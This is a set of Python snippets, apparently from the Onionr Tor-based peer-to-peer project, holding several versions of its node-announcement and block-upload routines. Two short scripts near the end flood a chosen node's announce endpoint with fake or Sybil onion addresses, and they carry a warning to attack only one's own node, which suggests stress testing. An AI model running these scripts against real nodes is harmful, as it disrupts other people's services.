def announce_node(daemon): '''Announce our node to our peers''' ret_data = False announce_fail = False # Do not let announceCache get too large if len(daemon.announceCache) >= 10000: daemon.announceCache.popitem() if daemon.config.get('general.security_level', 0) == 0: # Announce to random online peers for i in daemon.onlinePeers: if not i in daemon.announceCache and not i in daemon.announceProgress: peer = i break else: peer = onlinepeers.pick_online_peer(daemon) for x in range(1): try: ourID = gettransports.get()[0] except IndexError: break url = 'http://' + peer + '/announce' data = {'node': ourID} combinedNodes = ourID + peer if ourID != 1: existingRand = bytesconverter.bytes_to_str(keydb.transportinfo.get_address_info(peer, 'powValue')) # Reset existingRand if it no longer meets the minimum POW if type(existingRand) is type(None) or not existingRand.endswith('0' * onionrvalues.ANNOUNCE_POW): existingRand = '' if peer in daemon.announceCache: data['random'] = daemon.announceCache[peer] elif len(existingRand) > 0: data['random'] = existingRand else: daemon.announceProgress[peer] = True proof = onionrproofs.DataPOW(combinedNodes, minDifficulty=onionrvalues.ANNOUNCE_POW) del daemon.announceProgress[peer] try: data['random'] = base64.b64encode(proof.waitForResult()[1]) except TypeError: # Happens when we failed to produce a proof logger.error("Failed to produce a pow for announcing to " + peer) announce_fail = True else: daemon.announceCache[peer] = data['random'] if not announce_fail: logger.info('Announcing node to ' + url) if basicrequests.do_post_request(url, data, port=daemon.shared_state.get(NetController).socksPort) == 'Success': logger.info('Successfully introduced node to ' + peer, terminal=True) ret_data = True keydb.transportinfo.set_address_info(peer, 'introduced', 1) keydb.transportinfo.set_address_info(peer, 'powValue', data['random']) daemon.decrementThreadCount('announce_node') return ret_data
def statistics_reporter(shared_state): server = config.get('statistics.server', '') if not config.get('statistics.i_dont_want_privacy', False) or \ not server: return def compile_data(): return { 'time': epoch.get_epoch(), 'adders': get_transports(), 'peers': shared_state.get_by_string('DeadSimpleKV').get('onlinePeers') } while True: better_sleep(5) data = compile_data() basicrequests.do_post_request(f'http://{server}/sendstats/' + get_transports()[0], data=json.dumps(data))
def announce_node(daemon): """Announce our node to our peers.""" ret_data = False kv: "DeadSimpleKV" = daemon.shared_state.get_by_string("DeadSimpleKV") # Do not let announceCache get too large if len(kv.get('announceCache')) >= 10000: kv.get('announceCache').popitem() if daemon.config.get('general.security_level', 0) == 0: # Announce to random online peers for i in kv.get('onlinePeers'): if i not in kv.get('announceCache'): peer = i break else: try: peer = onlinepeers.pick_online_peer(daemon) except onionrexceptions.OnlinePeerNeeded: peer = "" try: ourID = gettransports.get()[0] if not peer: raise onionrexceptions.OnlinePeerNeeded except (IndexError, onionrexceptions.OnlinePeerNeeded): pass else: url = 'http://' + peer + '/announce' data = {'node': ourID} logger.info('Announcing node to ' + url) if basicrequests.do_post_request( url, data, port=daemon.shared_state.get(NetController).socksPort)\ == 'Success': logger.info('Successfully introduced node to ' + peer, terminal=True) ret_data = True keydb.transportinfo.set_address_info(peer, 'introduced', 1) daemon.decrementThreadCount('announce_node') return ret_data
def upload_blocks_from_communicator(comm_inst: 'OnionrCommunicatorDaemon'): """Accept a communicator instance + upload blocks from its upload queue.""" """when inserting a block, we try to upload it to a few peers to add some deniability & increase functionality""" kv: "DeadSimpleKV" = comm_inst.shared_state.get_by_string("DeadSimpleKV") TIMER_NAME = "upload_blocks_from_communicator" session_manager: sessionmanager.BlockUploadSessionManager session_manager = comm_inst.shared_state.get( sessionmanager.BlockUploadSessionManager) tried_peers: UserID = [] finishedUploads = [] kv.put('blocksToUpload', onionrcrypto.cryptoutils.random_shuffle(kv.get('blocksToUpload'))) def remove_from_hidden(bl): sleep(60) try: comm_inst.shared_state.get_by_string( 'PublicAPI').hideBlocks.remove(bl) except ValueError: pass if len(kv.get('blocksToUpload')) != 0: for bl in kv.get('blocksToUpload'): if not stringvalidators.validate_hash(bl): logger.warn('Requested to upload invalid block', terminal=True) comm_inst.decrementThreadCount(TIMER_NAME) return session = session_manager.add_session(bl) for _ in range(min(len(kv.get('onlinePeers')), 6)): try: peer = onlinepeers.pick_online_peer(comm_inst) except onionrexceptions.OnlinePeerNeeded: continue try: session.peer_exists[peer] continue except KeyError: pass try: if session.peer_fails[peer] > 3: continue except KeyError: pass if peer in tried_peers: continue tried_peers.append(peer) url = f'http://{peer}/upload' try: data = block.Block(bl).getRaw() except onionrexceptions.NoDataAvailable: finishedUploads.append(bl) break proxy_type = proxypicker.pick_proxy(peer) logger.info(f"Uploading block {bl[:8]} to {peer}", terminal=True) resp = basicrequests.do_post_request( url, data=data, proxyType=proxy_type, content_type='application/octet-stream') if resp is not False: if resp == 'success': Thread(target=remove_from_hidden, args=[bl], daemon=True).start() session.success() session.peer_exists[peer] = True elif resp == 'exists': session.success() session.peer_exists[peer] = True else: session.fail() session.fail_peer(peer) comm_inst.getPeerProfileInstance(peer).addScore(-5) logger.warn( f'Failed to upload {bl[:8]}, reason: {resp}', terminal=True) else: session.fail() session_manager.clean_session() for x in finishedUploads: try: kv.get('blocksToUpload').remove(x) comm_inst.shared_state.get_by_string( 'PublicAPI').hideBlocks.remove(x) except ValueError: pass comm_inst.decrementThreadCount(TIMER_NAME)
def __init__(self, peer, address, comm_inst=None): if not stringvalidators.validate_pub_key(peer): raise ValueError('Peer must be valid base32 ed25519 public key') socks = config.get( 'tor.socksport') # Load config for Tor socks port for proxy service_app = Flask(__name__) # Setup Flask app for server. service_port = get_open_port() service_ip = apiutils.setbindip.set_bind_IP() http_server = WSGIServer(('127.0.0.1', service_port), service_app, log=None) comm_inst.service_greenlets.append(http_server) key_store = simplekv.DeadSimpleKV(filepaths.cached_storage) # TODO define basic endpoints useful for direct connections like stats httpapi.load_plugin_blueprints(service_app, blueprint='direct_blueprint') @service_app.route('/ping') def get_ping(): return "pong!" @service_app.route('/close') def shutdown_server(): comm_inst.service_greenlets.remove(http_server) http_server.stop() return Response('goodbye') @service_app.after_request def afterReq(resp): # Security headers resp = httpheaders.set_default_onionr_http_headers(resp) return resp with Controller.from_port( port=config.get('tor.controlPort')) as controller: # Connect to the Tor process for Onionr controller.authenticate(config.get('tor.controlpassword')) # Create the v3 onion service for the peer to connect to response = controller.create_ephemeral_hidden_service( {80: service_port}, await_publication=True, key_type='NEW', key_content='ED25519-V3') try: for x in range(3): attempt = basicrequests.do_post_request( 'http://' + address + '/bs/' + response.service_id, port=socks) if attempt == 'success': break else: raise ConnectionError except ConnectionError: # Re-raise raise ConnectionError( 'Could not reach %s bootstrap address %s' % (peer, address)) else: # If no connection error, create the service and save it to local global key store peer = bytesconverter.bytes_to_str(peer) key_store.put('dc-' + peer, response.service_id) key_store.flush() logger.info('hosting on %s with %s' % (response.service_id, peer)) http_server.serve_forever() http_server.stop() key_store.delete('dc-' + peer)
def upload_blocks_from_communicator(comm_inst: OnionrCommunicatorDaemon): """Accepts a communicator instance and uploads blocks from its upload queue""" """when inserting a block, we try to upload it to a few peers to add some deniability & increase functionality""" TIMER_NAME = "upload_blocks_from_communicator" session_manager: sessionmanager.BlockUploadSessionManager = comm_inst.shared_state.get( sessionmanager.BlockUploadSessionManager) triedPeers = [] finishedUploads = [] comm_inst.blocksToUpload = onionrcrypto.cryptoutils.random_shuffle( comm_inst.blocksToUpload) if len(comm_inst.blocksToUpload) != 0: for bl in comm_inst.blocksToUpload: if not stringvalidators.validate_hash(bl): logger.warn('Requested to upload invalid block', terminal=True) comm_inst.decrementThreadCount(TIMER_NAME) return session = session_manager.add_session(bl) for i in range(min(len(comm_inst.onlinePeers), 6)): peer = onlinepeers.pick_online_peer(comm_inst) try: session.peer_exists[peer] continue except KeyError: pass try: if session.peer_fails[peer] > 3: continue except KeyError: pass if peer in triedPeers: continue triedPeers.append(peer) url = f'http://{peer}/upload' try: data = block.Block(bl).getRaw() except onionrexceptions.NoDataAvailable: finishedUploads.append(bl) break proxyType = proxypicker.pick_proxy(peer) logger.info(f"Uploading block {bl[:8]} to {peer}", terminal=True) resp = basicrequests.do_post_request( url, data=data, proxyType=proxyType, content_type='application/octet-stream') if not resp == False: if resp == 'success': session.success() session.peer_exists[peer] = True elif resp == 'exists': session.success() session.peer_exists[peer] = True else: session.fail() session.fail_peer(peer) comm_inst.getPeerProfileInstance(peer).addScore(-5) logger.warn( f'Failed to upload {bl[:8]}, reason: {resp[:15]}', terminal=True) else: session.fail() session_manager.clean_session() for x in finishedUploads: try: comm_inst.blocksToUpload.remove(x) except ValueError: pass comm_inst.decrementThreadCount(TIMER_NAME)
from stem.control import Controller onionr_ip = input("onionr ip address: ") onionr_port = int(input("Enter onionr public api port: ")) controller = Controller.from_port('127.0.0.1', int(input("Enter tor controller port: "))) controller.authenticate() node = input( "Enter node to attack. Note that you legally must use your own, and even that might lead to technical or legal issues: " ) assert stringvalidators.validate_transport(node) socks = input("Socks:") adders = set([]) for i in range(int(input("Sybil addresses: "))): response = controller.create_ephemeral_hidden_service( {80: f'{onionr_ip}:{onionr_port}'}, await_publication=True) #print(i, response.service_id) adders.add(response.service_id) for x in adders: x += '.onion' print(f"Introducing {x} to {node}") basicrequests.do_post_request(f'http://{node}/announce', data={'node': x}, port=socks)
import sys import os import secrets import base64 os.chdir('../') sys.path.append("src/") from onionrutils import stringvalidators from onionrutils import basicrequests def random_tor_generator(): return base64.b32encode(secrets.token_bytes(35)).decode().replace( "=", "").lower() + ".onion" node = input( "Enter node to attack. Note that you legally must use your own, and even that might lead to technical or legal issues" ) assert stringvalidators.validate_transport(node) count = int(input("Attack amount: ")) port = input("Socks:") for x in range(count): new = random_tor_generator() print(f"Introducing {new} to {node}") basicrequests.do_post_request(f'http://{node}/announce', data={'node': new}, port=port)
def upload_blocks_from_communicator(shared_state: 'OnionrCommunicatorDaemon'): """Accept a communicator instance + upload blocks from its upload queue.""" """when inserting a block, we try to upload it to a few peers to add some deniability & increase functionality""" kv: "DeadSimpleKV" = shared_state.get_by_string("DeadSimpleKV") session_manager: sessionmanager.BlockUploadSessionManager session_manager = shared_state.get( sessionmanager.BlockUploadSessionManager) tried_peers: UserID = [] finishedUploads = [] SystemRandom().shuffle(kv.get('blocksToUpload')) def remove_from_hidden(bl): sleep(60) try: shared_state.get_by_string( 'PublicAPI').hideBlocks.remove(bl) except ValueError: pass if len(kv.get('blocksToUpload')) != 0: for bl in kv.get('blocksToUpload'): if not stringvalidators.validate_hash(bl): logger.warn('Requested to upload invalid block', terminal=True) return session = session_manager.add_session(bl) for _ in range(min(len(kv.get('onlinePeers')), 6)): try: peer = onlinepeers.pick_online_peer(kv) if not block.Block(bl).isEncrypted: if peer in kv.get('plaintextDisabledPeers'): logger.info(f"Cannot upload plaintext block to peer that denies it {peer}") # noqa continue except onionrexceptions.OnlinePeerNeeded: continue try: session.peer_exists[peer] continue except KeyError: pass try: if session.peer_fails[peer] > 3: continue except KeyError: pass if peer in tried_peers: continue tried_peers.append(peer) url = f'http://{peer}/upload' try: data = block.Block(bl).getRaw() if not data: logger.warn( f"Couldn't get data for block in upload list {bl}", terminal=True) raise onionrexceptions.NoDataAvailable try: def __check_metadata(): metadata = get_block_metadata_from_data(data)[0] if not validate_metadata(metadata, data): logger.warn( f"Metadata for uploading block not valid {bl}") raise onionrexceptions.InvalidMetadata __check_metadata() except onionrexceptions.DataExists: pass except( # noqa onionrexceptions.NoDataAvailable, onionrexceptions.InvalidMetadata) as _: finishedUploads.append(bl) break proxy_type = proxypicker.pick_proxy(peer) logger.info( f"Uploading block {bl[:8]} to {peer}", terminal=True) resp = basicrequests.do_post_request( url, data=data, proxyType=proxy_type, content_type='application/octet-stream') if resp is not False: if resp == 'success': Thread(target=remove_from_hidden, args=[bl], daemon=True).start() session.success() session.peer_exists[peer] = True elif resp == 'exists': session.success() session.peer_exists[peer] = True else: session.fail() session.fail_peer(peer) shared_state.get_by_string( 'OnionrCommunicatorDaemon').getPeerProfileInstance( peer).addScore(-5) logger.warn( f'Failed to upload {bl[:8]}, reason: {resp}', terminal=True) else: session.fail() session_manager.clean_session() for x in finishedUploads: try: kv.get('blocksToUpload').remove(x) shared_state.get_by_string( 'PublicAPI').hideBlocks.remove(x) except ValueError: pass